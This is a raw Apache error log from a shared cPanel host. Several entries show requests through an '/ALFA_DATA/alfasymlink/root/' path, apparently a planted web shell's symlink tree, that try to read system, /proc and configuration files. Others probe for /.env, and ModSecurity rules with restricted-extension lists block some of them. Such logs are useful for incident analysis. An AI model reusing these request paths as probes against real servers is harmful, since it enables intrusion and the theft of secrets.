[Tue Oct 27 01:32:23.787973 2026] [ssl:error] [pid 3167840:tid 3167840] (70014)End of file found: [client 3.219.80.71:11077] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:32:36.129305 2026] [ssl:error] [pid 3167840:tid 3167840] (70014)End of file found: [client 100.25.120.246:1855] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:32:43.708243 2026] [ssl:error] [pid 3167840:tid 3167840] (70014)End of file found: [client 18.213.102.186:20675] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:32:51.781378 2026] [ssl:error] [pid 3165203:tid 3165203] (70014)End of file found: [client 35.169.102.85:49002] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:33:11.875522 2026] [ssl:error] [pid 3165203:tid 3165203] (70014)End of file found: [client 54.167.32.123:40330] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:33:28.013913 2026] [security2:error] [pid 3165580:tid 3165580] [client 52.44.229.124:46983] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:01/PNP0303:00/physical_node/"] [unique_id "auA3qEtgBhmk9Q7hbpqXnAAAAAs"]
[Tue Oct 27 01:33:28.013974 2026] [security2:error] [pid 3165580:tid 3165580] [client 52.44.229.124:46983] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:01/PNP0303:00/physical_node/"] [unique_id "auA3qEtgBhmk9Q7hbpqXnAAAAAs"]
[Tue Oct 27 01:33:39.737338 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 52.200.58.199:42370] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:33:43.803247 2026] [ssl:error] [pid 3169840:tid 3169840] (70014)End of file found: [client 54.235.191.179:46278] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:33:48.615187 2026] [ssl:error] [pid 3165203:tid 3165203] (70014)End of file found: [client 54.84.93.8:52949] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:33:55.869201 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 18.214.238.178:22275] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:33:59.741738 2026] [ssl:error] [pid 3169840:tid 3169840] (70014)End of file found: [client 18.207.89.138:5803] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:34:03.894194 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.71.203.206:6674] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:34:19.813147 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 54.145.82.217:46301] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:34:35.822126 2026] [ssl:error] [pid 3169840:tid 3169840] (70014)End of file found: [client 54.166.104.83:34640] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:34:39.848447 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 54.225.148.123:19779] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:34:47.817662 2026] [ssl:error] [pid 3165580:tid 3165580] (5)Input/output error: [client 107.20.255.194:49708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:34:59.720407 2026] [core:error] [pid 3169840:tid 3169840] (13)Permission denied: [client 3.211.105.134:12057] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/resource1
[Tue Oct 27 01:35:12.036247 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 3.212.219.113:37742] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:35:15.689910 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 54.85.126.86:36262] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:35:19.769551 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 44.205.192.249:6424] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:35:24.489986 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 185.191.171.2:49082] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:35:27.953505 2026] [core:error] [pid 3168752:tid 3168752] (13)Permission denied: [client 100.29.155.89:32075] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/module/drivers/pci:virtio-pci/uevent
[Tue Oct 27 01:35:32.777189 2026] [ssl:error] [pid 3167840:tid 3167840] (5)Input/output error: [client 107.22.208.39:41684] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:35:35.735996 2026] [core:error] [pid 3168752:tid 3168752] (13)Permission denied: [client 52.44.148.203:42707] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/node0/memory10/subsystem/uevent
[Tue Oct 27 01:35:39.827279 2026] [security2:error] [pid 3169073:tid 3169073] [client 107.172.76.131:58399] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA4IPOzJ5PbuFxXSzJKswAAABM"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 01:35:39.827361 2026] [security2:error] [pid 3169073:tid 3169073] [client 107.172.76.131:58399] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA4IPOzJ5PbuFxXSzJKswAAABM"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 01:35:41.121416 2026] [authz_core:error] [pid 3165580:tid 3165580] [client 151.252.24.39:53883] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:35:47.888688 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 98.83.177.42:45967] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:36:11.401389 2026] [security2:error] [pid 3169065:tid 3169065] [client 130.12.180.170:30768] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "casarin1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA4S6-CuCkM7UxcAkRXFwAAABE"]
[Tue Oct 27 01:36:11.401636 2026] [security2:error] [pid 3169065:tid 3169065] [client 130.12.180.170:30768] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "casarin1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA4S6-CuCkM7UxcAkRXFwAAABE"]
[Tue Oct 27 01:36:11.401913 2026] [security2:error] [pid 3169065:tid 3169065] [client 130.12.180.170:30768] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "casarin1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auA4S6-CuCkM7UxcAkRXFwAAABE"]
[Tue Oct 27 01:36:11.728620 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 52.44.148.203:4408] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:36:16.236886 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 3.235.215.92:51232] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:36:20.194300 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.70.123.241:4453] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:36:29.080991 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 54.225.81.20:5178] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:36:31.704750 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 184.72.84.154:3178] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:36:40.646978 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 85.208.96.210:47086] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:36:43.976422 2026] [core:error] [pid 3165581:tid 3165581] (13)Permission denied: [client 52.204.71.8:16823] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXCPU:00/physical_node/crash_notes
[Tue Oct 27 01:36:48.042476 2026] [core:error] [pid 3168752:tid 3168752] (13)Permission denied: [client 98.84.184.80:48851] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory3/node0/memory3/subsystem/uevent
[Tue Oct 27 01:36:51.762233 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.89.170.186:15701] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:36:59.653332 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 52.44.174.136:33271] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:37:03.999779 2026] [core:error] [pid 3161716:tid 3161716] (13)Permission denied: [client 100.27.153.9:9719] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty21/subsystem/tty0/subsystem/ttyS3/type
[Tue Oct 27 01:37:19.326095 2026] [security2:error] [pid 3170301:tid 3170301] [client 16.216.88.106:49152] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/015_mod_actions.conf"] [unique_id "auA4jw67030o4-ZAUjLpeAAAAAg"]
[Tue Oct 27 01:37:19.326685 2026] [security2:error] [pid 3170301:tid 3170301] [client 16.216.88.106:49152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/015_mod_actions.conf"] [unique_id "auA4jw67030o4-ZAUjLpeAAAAAg"]
[Tue Oct 27 01:37:19.327225 2026] [security2:error] [pid 3170301:tid 3170301] [client 16.216.88.106:49152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/015_mod_actions.conf"] [unique_id "auA4jw67030o4-ZAUjLpeAAAAAg"]
[Tue Oct 27 01:37:24.066611 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 34.225.24.180:57835] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:37:35.729012 2026] [core:error] [pid 3165581:tid 3165581] (13)Permission denied: [client 107.20.255.194:13651] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/driver/serial8250/tty/ttyS3/flags
[Tue Oct 27 01:37:37.171235 2026] [security2:error] [pid 3168752:tid 3168752] [client 16.216.88.247:4096] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/selinux/semanage.conf"] [unique_id "auA4odu7k0W31xV3RUIMjQAAAAw"]
[Tue Oct 27 01:37:37.171768 2026] [security2:error] [pid 3168752:tid 3168752] [client 16.216.88.247:4096] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/selinux/semanage.conf"] [unique_id "auA4odu7k0W31xV3RUIMjQAAAAw"]
[Tue Oct 27 01:37:37.172188 2026] [security2:error] [pid 3168752:tid 3168752] [client 16.216.88.247:4096] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/selinux/semanage.conf"] [unique_id "auA4odu7k0W31xV3RUIMjQAAAAw"]
[Tue Oct 27 01:37:39.740915 2026] [ssl:error] [pid 3169840:tid 3169840] (70014)End of file found: [client 100.28.204.82:12342] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:37:51.383001 2026] [proxy_fcgi:error] [pid 3147513:tid 3147513] [client 178.128.66.53:57163] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 01:37:51.769292 2026] [ssl:error] [pid 3167840:tid 3167840] (70014)End of file found: [client 18.207.79.144:9532] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:37:55.940971 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 35.171.117.160:3558] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:37:59.782917 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.204.81.148:10517] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:38:23.925256 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 23.22.105.143:57146] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:38:28.257764 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 54.84.147.79:46065] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:38:39.857376 2026] [ssl:error] [pid 3165203:tid 3165203] (70014)End of file found: [client 54.90.8.255:10218] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:38:44.230545 2026] [ssl:error] [pid 3169840:tid 3169840] (70014)End of file found: [client 34.225.243.131:40702] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:38:44.946388 2026] [security2:error] [pid 3167526:tid 3167526] [client 107.172.76.131:58418] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA41mCyNSR5NccyVY_h7gAAAAA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 01:38:44.946472 2026] [security2:error] [pid 3167526:tid 3167526] [client 107.172.76.131:58418] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA41mCyNSR5NccyVY_h7gAAAAA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 01:39:06.681121 2026] [authz_core:error] [pid 3165579:tid 3165579] [client 198.251.72.22:34130] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:39:10.815754 2026] [security2:error] [pid 3169840:tid 3169840] [client 85.208.96.199:40690] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/nginx/modules/mod-http-image-filter.conf"] [unique_id "auA4_skbbDK06qDUYmCokAAAAAU"]
[Tue Oct 27 01:39:10.816226 2026] [security2:error] [pid 3169840:tid 3169840] [client 85.208.96.199:40690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/nginx/modules/mod-http-image-filter.conf"] [unique_id "auA4_skbbDK06qDUYmCokAAAAAU"]
[Tue Oct 27 01:39:10.816775 2026] [security2:error] [pid 3169840:tid 3169840] [client 85.208.96.199:40690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/nginx/modules/mod-http-image-filter.conf"] [unique_id "auA4_skbbDK06qDUYmCokAAAAAU"]
[Tue Oct 27 01:39:19.706296 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 54.225.199.17:65354] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:39:23.602451 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 52.71.218.25:22213] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:39:27.671125 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 52.0.218.219:26490] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:39:43.574313 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 34.234.197.175:63125] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:39:43.574633 2026] [security2:error] [pid 3164823:tid 3164823] [client 34.234.197.175:63125] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input1/event1/subsystem/input4/phys"] [unique_id "auA5HzoDckKnHHUz0sTL-AAAAA0"]
[Tue Oct 27 01:39:43.574682 2026] [security2:error] [pid 3164823:tid 3164823] [client 34.234.197.175:63125] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input1/event1/subsystem/input4/phys"] [unique_id "auA5HzoDckKnHHUz0sTL-AAAAA0"]
[Tue Oct 27 01:39:55.300091 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 52.200.142.199:1392] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:39:59.328833 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 98.82.39.241:2204] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:40:03.257026 2026] [core:error] [pid 3161716:tid 3161716] (13)Permission denied: [client 100.25.120.246:16173] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory6/node0/memory3/subsystem/uevent
[Tue Oct 27 01:40:11.472342 2026] [ssl:error] [pid 3165203:tid 3165203] (70014)End of file found: [client 34.192.125.239:1121] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:40:23.501300 2026] [ssl:error] [pid 3165203:tid 3165203] (70014)End of file found: [client 34.239.197.197:45938] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:40:27.080124 2026] [ssl:error] [pid 3169840:tid 3169840] (70014)End of file found: [client 98.82.63.147:32408] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:40:31.318872 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 98.84.70.201:54572] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:40:38.928518 2026] [ssl:error] [pid 3170301:tid 3170301] (70014)End of file found: [client 34.233.219.155:31788] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:40:51.077197 2026] [security2:error] [pid 3169065:tid 3169065] [client 45.230.217.157:54926] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "auA5Y6-CuCkM7UxcAkRXMgAAABE"], referer: https://sherwinpinturas.com/
[Tue Oct 27 01:40:51.077361 2026] [security2:error] [pid 3169065:tid 3169065] [client 45.230.217.157:54926] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "auA5Y6-CuCkM7UxcAkRXMgAAABE"], referer: https://sherwinpinturas.com/
[Tue Oct 27 01:40:51.077918 2026] [security2:error] [pid 3169065:tid 3169065] [client 45.230.217.157:54926] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "auA5Y6-CuCkM7UxcAkRXMgAAABE"], referer: https://sherwinpinturas.com/
[Tue Oct 27 01:40:51.078228 2026] [security2:error] [pid 3169065:tid 3169065] [client 45.230.217.157:54926] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "auA5Y6-CuCkM7UxcAkRXMgAAABE"], referer: https://sherwinpinturas.com/
